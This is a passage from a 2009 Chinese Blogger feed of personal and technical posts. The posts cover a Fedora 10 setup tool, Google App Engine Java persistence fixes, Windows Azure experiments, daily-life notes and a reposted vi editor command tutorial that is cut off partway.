rel='replies' type='application/atom+xml' href='http://liuspring.blogspot.com/feeds/5275600745956581102/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://liuspring.blogspot.com/2009/08/google.html#comment-form' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/5275600745956581102'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/5275600745956581102'/><link rel='alternate' type='text/html' href='http://liuspring.blogspot.com/2009/08/google.html' title='瑞星杀毒软件在Google软件精选中没有了'/><author><name>spring</name><uri>http://www.blogger.com/profile/05643745951876661529</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://2.bp.blogspot.com/_v1Lc1r1RLbA/Ses7aZ_Dv1I/AAAAAAAAAkU/ZudfNWKRZ0Q/S220/7f006c69757370696e673d00.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7090138233354235749.post-1051604110118272597</id><published>2009-07-30T18:00:00.000+08:00</published><updated>2010-08-13T11:22:02.975+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><title type='text'>转：Fedora 10 的自动执行脚本</title><content type='html'>转自：http://pengjiayou.com/blog/fedora-10-auto-install-scripts&lt;br/&gt;&lt;a title="easyLife" href="http://www.easylifeproject.org/" target="_blank"&gt;easyLife&lt;/a&gt; 是另一款和 autoten 类似的软件，是刚刚才发现的，不过其官方网站打不开，需翻墙解决，我找到了它的下载页面，在 sf.net 上，请直接点击这里下载最新的 &lt;a title="EasyLIfe 1.1 for Fedora 10" href="http://sourceforge.net/project/showfiles.php?group_id=217092&amp;amp;package_id=265463&amp;amp;release_id=643835" target="_blank"&gt;easylife-1.1-1.fc10.noarch.rpm&lt;/a&gt; 。&lt;br/&gt;&lt;p&gt;easyLife 允许你配置 Fedora 10 的各软件，只需用鼠标点击就搞定了！它的主要特性如下：&lt;/p&gt;&lt;br/&gt;&lt;ul&gt;&lt;br/&gt;&lt;li&gt;为你系统中的常规用户添加 sudo 命令&lt;/li&gt;&lt;br/&gt;&lt;li&gt;自动安装 Flash Player 插件&lt;/li&gt;&lt;br/&gt;&lt;li&gt;安装各种 Codecs （视频、音频解码库等）&lt;/li&gt;&lt;br/&gt;&lt;li&gt;安装额外字体&lt;/li&gt;&lt;br/&gt;&lt;li&gt;安装 Livna 软件仓库以安装其它额外及非免费软件&lt;/li&gt;&lt;br/&gt;&lt;li&gt;安装 Skype&lt;/li&gt;&lt;br/&gt;&lt;li&gt;为 Firefox 安装 Sun Java 和 Sun Java Plugin 插件&lt;/li&gt;&lt;br/&gt;&lt;li&gt;用 system-switch-java 整合 Sun Java&lt;/li&gt;&lt;br/&gt;&lt;li&gt;安装 Adobe Raeder&lt;/li&gt;&lt;br/&gt;&lt;li&gt;安装其他软件等&lt;/li&gt;&lt;br/&gt;&lt;/ul&gt;&lt;br/&gt;用esayLife安装来Flash Player 挺好用，真的是省了很多事，可能对我这个Linux初学者不是啥好事&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7090138233354235749-1051604110118272597?l=liuspring.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://liuspring.blogspot.com/feeds/1051604110118272597/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://liuspring.blogspot.com/2009/07/fedora-10.html#comment-form' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/1051604110118272597'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/1051604110118272597'/><link rel='alternate' type='text/html' href='http://liuspring.blogspot.com/2009/07/fedora-10.html' title='转：Fedora 10 的自动执行脚本'/><author><name>spring</name><uri>http://www.blogger.com/profile/05643745951876661529</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://2.bp.blogspot.com/_v1Lc1r1RLbA/Ses7aZ_Dv1I/AAAAAAAAAkU/ZudfNWKRZ0Q/S220/7f006c69757370696e673d00.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7090138233354235749.post-7011763482944916991</id><published>2009-07-30T06:27:00.000+08:00</published><updated>2010-08-13T11:22:02.984+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Live'/><title type='text'>又在感慨自己没有进步</title><content type='html'>&lt;p&gt;&lt;span style="color:rgb(51,51,51);font-size:13px;white-space:pre-wrap;" class="Apple-style-span"&gt;中午陪同事去银行，路上聊起以后的发展，等35岁后还在做程序员coding？呵呵其实也未尝不可，只是可能说起来缺点颜面，可能在中国这种重应用轻研发的大环境下是这样的&lt;/span&gt;&lt;/p&gt;&lt;br/&gt;&lt;div&gt;&lt;font face="'Trebuchet MS'" color="#333333" size="3" class="Apple-style-span"&gt;&lt;span style="font-size:13px;white-space:pre-wrap;" class="Apple-style-span"&gt;那接下来如何改变呢？自叹离一个项目经理需要掌握的全面知识还有许多许多不会的啊，其实我还是蛮喜欢写code的呵呵，bug安静。&lt;/span&gt;&lt;/font&gt;&lt;/div&gt;&lt;br/&gt;&lt;div&gt;&lt;font face="'Trebuchet MS'" color="#333333" size="3" class="Apple-style-span"&gt;&lt;span style="font-size:13px;white-space:pre-wrap;" class="Apple-style-span"&gt;昨儿捣鼓了一天Google app engine，今天捣鼓了一天&lt;font size="1"&gt;&lt;span style="color:rgb(0,0,0);font-size:16px;white-space:normal;line-height:19px;" class="Apple-style-span"&gt;&lt;a style="color:rgb(34,0,204);" target="_blank" href="http://www.microsoft.com/azure/"&gt;Windows &lt;em&gt;Azure&lt;/em&gt; Platform&lt;/a&gt;，整了个Hello Cloud： &lt;span style="line-height:normal;" class="Apple-style-span"&gt;&lt;a href="http://lnai.cloudapp.net/"&gt;http://lnai.cloudapp.net/&lt;/a&gt; ，恼火是Sql Azure好像还没开放使用，明儿参考&lt;a href="http://www.cnblogs.com/azure/archive/2009/03/16/1413728.html"&gt;http://www.cnblogs.com/azure/archive/2009/03/16/1413728.html&lt;/a&gt;整个聊天室学习学习&lt;/span&gt;&lt;/span&gt;&lt;/font&gt;&lt;/span&gt;&lt;/font&gt;&lt;/div&gt;&lt;br/&gt;&lt;div&gt;&lt;font size="2"&gt;参考资料：&lt;a href="http://azure.cnblogs.com/"&gt;http://azure.cnblogs.com/&lt;/a&gt;&lt;/font&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7090138233354235749-7011763482944916991?l=liuspring.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://liuspring.blogspot.com/feeds/7011763482944916991/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://liuspring.blogspot.com/2009/07/blog-post_30.html#comment-form' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/7011763482944916991'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/7011763482944916991'/><link rel='alternate' type='text/html' href='http://liuspring.blogspot.com/2009/07/blog-post_30.html' title='又在感慨自己没有进步'/><author><name>spring</name><uri>http://www.blogger.com/profile/05643745951876661529</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://2.bp.blogspot.com/_v1Lc1r1RLbA/Ses7aZ_Dv1I/AAAAAAAAAkU/ZudfNWKRZ0Q/S220/7f006c69757370696e673d00.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7090138233354235749.post-3633378482309065766</id><published>2009-07-29T05:36:00.000+08:00</published><updated>2010-08-13T11:22:02.994+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Live'/><title type='text'>又是一个周一</title><content type='html'>又是一个周一过去了，没什么公事，自己捣鼓app engine,想接下来增加一些功能，比如支持图片显示，支持客户端、Email写blog，支持手机访问，添加地图应用，支持rss，支持更换模板...呵呵，随便想想就这么多&lt;br/&gt;今天捣鼓了一天fedora10,希望能解决fedora9中Eclipse输入的问题，安装VMware-tools，折腾了一天到现在貌似还不怎么好使，下了个eclipse,正版他app engine Eclipse插件还不支持Eclipse3.5呜呜 郁闷死&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7090138233354235749-3633378482309065766?l=liuspring.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://liuspring.blogspot.com/feeds/3633378482309065766/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://liuspring.blogspot.com/2009/07/blog-post_29.html#comment-form' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/3633378482309065766'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/3633378482309065766'/><link rel='alternate' type='text/html' href='http://liuspring.blogspot.com/2009/07/blog-post_29.html' title='又是一个周一'/><author><name>spring</name><uri>http://www.blogger.com/profile/05643745951876661529</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://2.bp.blogspot.com/_v1Lc1r1RLbA/Ses7aZ_Dv1I/AAAAAAAAAkU/ZudfNWKRZ0Q/S220/7f006c69757370696e673d00.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7090138233354235749.post-4734099183312136574</id><published>2009-07-20T17:58:00.000+08:00</published><updated>2010-08-13T11:22:03.003+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Google App Engine'/><title type='text'>com.google.appengine.api.datastore.Text 不能保存</title><content type='html'>google app engine对String长度有限制，里面中有个com.google.appengine.api.datastore.Text类型以替换长String，但是换了com.google.appengine.api.datastore.Text后不能向数据库保存了，就单单这个字段不能保存，看数据库列中就没有这个字段，google中找到 说要在字段前加＠Enumerated，但是在我这也不好使，后来又找到要加&lt;br/&gt;@Persistent(serialized=&amp;quot;true&amp;quot;, defaultFetchGroup=&amp;quot;true&amp;quot;) &lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;  private Text text;&lt;br/&gt;//&amp;nbsp;&amp;nbsp;&amp;nbsp;  private String text;&lt;br/&gt;恩，这下好使了&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7090138233354235749-4734099183312136574?l=liuspring.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://liuspring.blogspot.com/feeds/4734099183312136574/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://liuspring.blogspot.com/2009/07/comgoogleappengineapidatastoretext.html#comment-form' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/4734099183312136574'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/4734099183312136574'/><link rel='alternate' type='text/html' href='http://liuspring.blogspot.com/2009/07/comgoogleappengineapidatastoretext.html' title='com.google.appengine.api.datastore.Text 不能保存'/><author><name>spring</name><uri>http://www.blogger.com/profile/05643745951876661529</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://2.bp.blogspot.com/_v1Lc1r1RLbA/Ses7aZ_Dv1I/AAAAAAAAAkU/ZudfNWKRZ0Q/S220/7f006c69757370696e673d00.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7090138233354235749.post-599626297152049376</id><published>2009-07-20T17:51:00.000+08:00</published><updated>2010-08-13T11:22:03.017+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Google App Engine'/><title type='text'>google app engine for
java:org.datanucleus.exceptions.NucleusUserException:</title><content type='html'>&lt;font color="#ff6600"&gt;开发中遇到这个异常：&lt;br/&gt;NestedThrowablesStackTrace:&lt;br/&gt;Attempt was made to manually set the id component of a Key primary key.  If you want to control the value of the primary key, set the name component instead.&lt;br/&gt;org.datanucleus.exceptions.NucleusUserException: Attempt was made to manually set the id component of a Key primary key.  If you want to control the value of the primary key, set the name component instead.&lt;/font&gt;&lt;br/&gt;&lt;br/&gt;原来的修改代码是这样些的：&lt;br/&gt;public void attachDirty(UrlTarget instance) {&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &amp;nbsp;&amp;nbsp;&amp;nbsp;  PersistenceManager pm = null;&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  try {&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &amp;nbsp;&amp;nbsp;&amp;nbsp;  pm = PMF.get().getPersistenceManager();&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &amp;nbsp;&amp;nbsp;&amp;nbsp;  UrlTarget ut = (UrlTarget) pm.getObjectById(UrlTarget.class, instance.getId());&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &amp;nbsp;&amp;nbsp;&amp;nbsp;  ut.setName(instance.getName());&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &amp;nbsp;&amp;nbsp;&amp;nbsp;  ut.setRemark(instance.getRemark());&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &amp;nbsp;&amp;nbsp;&amp;nbsp;  ut.setUrl(instance.getUrl());&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  pm.makePersistent(ut);&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  } catch(Exception ex){&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &amp;nbsp;&amp;nbsp;&amp;nbsp;  &amp;nbsp;&amp;nbsp;&amp;nbsp;  ex.printStackTrace();&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &amp;nbsp;&amp;nbsp;&amp;nbsp;  }finally {&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  if(pm != null)pm.close();&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  }&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;  }&lt;br/&gt;&lt;br/&gt;public UrlTarget findById(Long id) {&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &amp;nbsp;&amp;nbsp;&amp;nbsp;  PersistenceManager pm = PMF.get().getPersistenceManager();&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &amp;nbsp;&amp;nbsp;&amp;nbsp;  try{&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &amp;nbsp;&amp;nbsp;&amp;nbsp;  &amp;nbsp;&amp;nbsp;&amp;nbsp;  return (UrlTarget) pm.getObjectById(UrlTarget.class, id);&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &amp;nbsp;&amp;nbsp;&amp;nbsp;  }catch(Exception ex){&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &amp;nbsp;&amp;nbsp;&amp;nbsp;  &amp;nbsp;&amp;nbsp;&amp;nbsp;  ex.printStackTrace();&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &amp;nbsp;&amp;nbsp;&amp;nbsp;  }finally {&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  pm.close();&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  }&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &amp;nbsp;&amp;nbsp;&amp;nbsp;  return null;&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;  }&lt;br/&gt;在利用findById方法得到对象后修改，但是findById中pm已经关闭，这就是错误的原因了&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7090138233354235749-599626297152049376?l=liuspring.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://liuspring.blogspot.com/feeds/599626297152049376/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://liuspring.blogspot.com/2009/07/google-app-engine-for.html#comment-form' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/599626297152049376'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/599626297152049376'/><link rel='alternate' type='text/html' href='http://liuspring.blogspot.com/2009/07/google-app-engine-for.html' title='google app engine for&#xA;java:org.datanucleus.exceptions.NucleusUserException:'/><author><name>spring</name><uri>http://www.blogger.com/profile/05643745951876661529</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://2.bp.blogspot.com/_v1Lc1r1RLbA/Ses7aZ_Dv1I/AAAAAAAAAkU/ZudfNWKRZ0Q/S220/7f006c69757370696e673d00.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7090138233354235749.post-4039789800207995025</id><published>2009-07-17T17:33:00.000+08:00</published><updated>2010-08-13T11:22:03.028+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Live'/><title type='text'>运通103漏雨</title><content type='html'>今早下雨，做公交上班，运通103竟然漏雨，骑车40分钟的路走了近两个小时，那个难受啊&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7090138233354235749-4039789800207995025?l=liuspring.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://liuspring.blogspot.com/feeds/4039789800207995025/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://liuspring.blogspot.com/2009/07/103.html#comment-form' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/4039789800207995025'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/4039789800207995025'/><link rel='alternate' type='text/html' href='http://liuspring.blogspot.com/2009/07/103.html' title='运通103漏雨'/><author><name>spring</name><uri>http://www.blogger.com/profile/05643745951876661529</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://2.bp.blogspot.com/_v1Lc1r1RLbA/Ses7aZ_Dv1I/AAAAAAAAAkU/ZudfNWKRZ0Q/S220/7f006c69757370696e673d00.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7090138233354235749.post-2903995102379260830</id><published>2009-07-17T01:22:00.000+08:00</published><updated>2010-08-13T11:22:03.040+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><title type='text'>Linux操作系统下VI编辑器常用命令介绍</title><content type='html'>&lt;span style="border-collapse:separate;color:rgb(0,0,0);font-size:medium;font-style:normal;font-variant:normal;font-weight:normal;letter-spacing:normal;line-height:normal;orphans:2;text-indent:0;text-transform:none;white-space:normal;widows:2;word-spacing:0;" class="Apple-style-span"&gt;&lt;span style="color:rgb(50,52,50);font-size:12px;" class="Apple-style-span"&gt;&lt;br/&gt;&lt;/span&gt;&lt;/span&gt;&lt;p style="font-size:14px;color:rgb(71,71,71);line-height:24px;margin:0 0 30px;padding:0;"&gt;来自&lt;a href="http://net.zdnet.com.cn/network_security_zone/2008/0519/869835.shtml"&gt;http://net.zdnet.com.cn/network_security_zone/2008/0519/869835.shtml&lt;/a&gt;&lt;/p&gt;&lt;br/&gt;&lt;p style="font-size:14px;color:rgb(71,71,71);line-height:24px;margin:0 0 30px;padding:0;"&gt;一．简介&lt;/p&gt;&lt;br/&gt;&lt;p style="font-size:14px;color:rgb(71,71,71);line-height:24px;margin:0 0 30px;padding:0;"&gt;　　vi是unix世界中最通用的全屏编辑器，linux中是用的是vi的加强版vim,vim同vi完全兼容，vi就是&amp;quot;visual interface&amp;quot;的缩写。它可以执行输出、删除、查找、替换、块操作等众多文本操作，而且用户可以根据自己的需要对其进行定制，这是其它编辑程序所没有的。&lt;/p&gt;&lt;br/&gt;&lt;p style="font-size:14px;color:rgb(71,71,71);line-height:24px;margin:0 0 30px;padding:0;"&gt;　　vi不是一个排版程序，它不象Word或WPS那样可以对字体、格式、段落等其他属性进行编排，它只是一个文本编辑程序。&lt;/p&gt;&lt;br/&gt;&lt;p style="font-size:14px;color:rgb(71,71,71);line-height:24px;margin:0 0 30px;padding:0;"&gt;　　vi没有菜单，只有命令，且命令繁多。只要在命令行上键入vi就可进入vi的编辑环境。vi有三种状态：命令模式,文本输入模式和末行模式。键入vi回车后首先进入vi的命令模式。&lt;/p&gt;&lt;br/&gt;&lt;p style="font-size:14px;color:rgb(71,71,71);line-height:24px;margin:0 0 30px;padding:0;"&gt;　　在命令模式下用户输入的任何字符都被Vi当作命令加以解释执行，如果用户要将输入的字符当作是文本内容时，则首先应将Vi的工作模式从命令模式切换到文本输入模式。在命令模式下，按一下&amp;quot;a&amp;quot;（&amp;quot;A&amp;quot;）键或者&amp;rdquo;i&amp;rdquo; （&amp;quot;I&amp;quot;）或者&amp;quot;o&amp;quot;（&amp;quot;O&amp;quot;）键，即进入插入态文本输入模式。按&amp;quot;a&amp;quot;键，插入到当前光标的后面；按&amp;quot;i&amp;quot;键，在当前光标处插入；按&amp;quot;A&amp;quot;键，在当前光标所在行的最后插入；按&amp;quot;I&amp;quot;键，在当前光标所在行的开头插入。在文本输入模式下，按Esc键，即回到命令模式。&lt;/p&gt;&lt;br/&gt;&lt;p style="font-size:14px;color:rgb(71,71,71);line-height:24px;margin:0 0 30px;padding:0;"&gt;　　末行模式也称ex转义模式。Vi有一个专门的&amp;ldquo;转义&amp;rdquo;命令，可访问很多面向行的Ex命令。在命令模式下，用户按&amp;ldquo;:&amp;rdquo;键即可进入末行模式下，此时Vi会在显示窗口的最后一行（通常也是屏幕的最后一行）显示一个&amp;ldquo;:&amp;rdquo;作为末行模式的提示符，等待用户输入命令。多数文件管理命令都是在此模式下执行的（如把编辑缓冲区的内容写到文件中等）。末行命令执行完后，Vi自动回到命令模式。&lt;/p&gt;&lt;br/&gt;&lt;p style="font-size:14px;color:rgb(71,71,71);line-height:24px;margin:0 0 30px;padding:0;"&gt;　　例如：&lt;/p&gt;&lt;br/&gt;&lt;p style="font-size:14px;color:rgb(71,71,71);line-height:24px;margin:0 0 30px;padding:0;"&gt;　　:1,$s /A/a/g&lt;/p&gt;&lt;br/&gt;&lt;p style="font-size:14px;color:rgb(71,71,71);line-height:24px;margin:0 0 30px;padding:0;"&gt;　　则从文件第一行至文件尾将大写A全部替换成小写a。&lt;/p&gt;&lt;br/&gt;&lt;p style="font-size:14px;color:rgb(71,71,71);line-height:24px;margin:0 0 30px;padding:0;"&gt;　　若在末行模式下输入命令过程中想转换的到命令模式，可按键，或用退格键将输入的命令全部删除之后，再按一下退格键，即可使Vi回到命令模式下。&lt;/p&gt;&lt;br/&gt;&lt;p style="font-size:14px;color:rgb(71,71,71);line-height:24px;margin:0 0 30px;padding:0;"&gt;　　如果要从命令模式转换到编辑模式，可以键入命令a或者i；如果需要从文本模式返回，则按Esc键即可。在命令模式下输入&amp;ldquo;:&amp;rdquo;即可切换到末行模式，然后输入命令。&lt;/p&gt;&lt;br/&gt;&lt;p style="font-size:14px;color:rgb(71,71,71);line-height:24px;margin:0 0 30px;padding:0;"&gt;　　Vi中的许多命令都要用到行号及行数等数值。若编辑的文件较大时，自己去数是非常不方便的。为此Vi提供了给文本加行号的功能。这些行号显示在屏幕的左边，而相应行的内容则显示在行号之后。 需要说明的是，这里加的行号只是显示给用户看的，它们并不是文件内容的一部分。&lt;/p&gt;&lt;br/&gt;&lt;p style="font-size:14px;color:rgb(71,71,71);line-height:24px;margin:0 0 30px;padding:0;"&gt;　　当用Vi建立一个新文件时，在进入Vi的命令中也可以不给出文件名，当编辑完文件需要保存数据时，再由用户指定文件名。&lt;/p&gt;&lt;br/&gt;&lt;p style="font-size:14px;color:rgb(71,71,71);line-height:24px;margin:0 0 30px;padding:0;"&gt;　　进入Vi时，用户不仅可以指定一个待编辑的文件名，而且还有许多附加操作。如果希望在进入Vi之后，光标处于文件中特定的某行上，可在Vi后加上任选项+n，其中n为指定的行数。例如 键入命令：vi +3 example.txt后,光标将位于文件example.txt中的第3行上。&lt;/p&gt;&lt;br/&gt;&lt;p style="font-size:14px;color:rgb(71,71,71);line-height:24px;margin:0 0 30px;padding:0;"&gt;　　二．vi常用的命令&lt;/p&gt;&lt;br/&gt;&lt;p style="font-size:14px;color:rgb(71,71,71);line-height:24px;margin:0 0 30px;padding:0;"&gt;　　1．插入（Insert）命令&lt;/p&gt;&lt;br/&gt;&lt;p style="font-size:14px;color:rgb(71,71,71);line-height:24px;margin:0 0 30px;padding:0;"&gt;　　Vi提供了两个插入命令：i 和 I命令&lt;/p&gt;&lt;br/&gt;&lt;p style="font-size:14px;color:rgb(71,71,71);line-height:24px;margin:0 0 30px;padding:0;"&gt;　　(1)i命令&lt;/p&gt;&lt;br/&gt;&lt;p style="font-size:14px;color:rgb(71,71,71);line-height:24px;margin:0 0 30px;padding:0;"&gt;　　插入文本从光标所在位置前开始,并且插入过程中可以使用键删除错误的输入。此时Vi处于插入状态，屏幕最下行显示&amp;ldquo;--INSERT--&amp;rdquo;（插入）字样。&lt;/p&gt;&lt;br/&gt;&lt;p style="font-size:14px;color:rgb(71,71,71);line-height:24px;margin:0 0 30px;padding:0;"&gt;　　例1,有一正在编辑的文件，如下所示：&lt;/p&gt;&lt;br/&gt;&lt;p style="font-size:14px;color:rgb(71,71,71);line-height:24px;margin:0 0 30px;padding:0;"&gt;　　Welcome to vi world!Come on!&lt;/p&gt;&lt;br/&gt;&lt;p style="font-size:14px;color:rgb(71,71,71);line-height:24px;margin:0 0 30px;padding:0;"&gt;　　~&lt;/p&gt;&lt;br/&gt;&lt;p style="font-size:14px;color:rgb(71,71,71);line-height:24px;margin:0 0 30px;padding:0;"&gt;　　~&lt;/p&gt;&lt;br/&gt;&lt;p style="font-size:14px;color:rgb(71,71,71);line-height:24px;margin:0 0 30px;padding:0;"&gt;　　光标位于第一个&amp;ldquo;!&amp;rdquo;上，需在其前面插入：&lt;/p&gt;&lt;br/&gt;&lt;p style="font-size:14px;color:rgb(71,71,71);line-height:24px;margin:0 0 30px;padding:0;"&gt;　　This is an example!&lt;/p&gt;&lt;br/&gt;&lt;p style="font-size:14px;color:rgb(71,71,71);line-height:24px;margin:0 0 30px;padding:0;"&gt;　　使用i命令，并输入相应文本后，屏幕显示如下：&lt;/p&gt;&lt;br/&gt;&lt;p style="font-size:14px;color:rgb(71,71,71);line-height:24px;margin:0 0 30px;padding:0;"&gt;　　Welcome to vi world This is an example!!Come on!&lt;/p&gt;&lt;br/&gt;&lt;p style="font-size:14px;color:rgb(71,71,71);line-height:24px;margin:0 0 30px;padding:0;"&gt;　　~&lt;/p&gt;&lt;br/&gt;&lt;p style="font-size:14px;color:rgb(71,71,71);line-height:24px;margin:0 0 30px;padding:0;"&gt;　　~&lt;/p&gt;&lt;br/&gt;&lt;p style="font-size:14px;color:rgb(71,71,71);line-height:24px;margin:0 0 30px;padding:0;"&gt;　　由此例可以看到，光标本来是在第一个&amp;ldquo;!&amp;rdquo;处，但是由于是从光标所在位置前开始插入，所以这个&amp;ldquo;!&amp;rdquo;就被挤到了新插入的文本之后。&lt;/p&gt;&lt;br/&gt;&lt;p style="font-size:14px;color:rgb(71,71,71);line-height:24px;margin:0 0 30px;padding:0;"&gt;　　(2)I命令&lt;/p&gt;&lt;br/&gt;&lt;p style="font-size:14px;color:rgb(71,71,71);line-height:24px;margin:0 0 30px;padding:0;"&gt;　　该命令是将光标移到当前行的行首，然后在其前插入文本.&lt;/p&gt;&lt;br/&gt;&lt;p style="font-size:14px;color:rgb(71,71,71);line-height:24px;margin:0 0 30px;padding:0;"&gt;　　2．光标移动操作在屏幕上移动&lt;span class="Apple-converted-space"&gt; 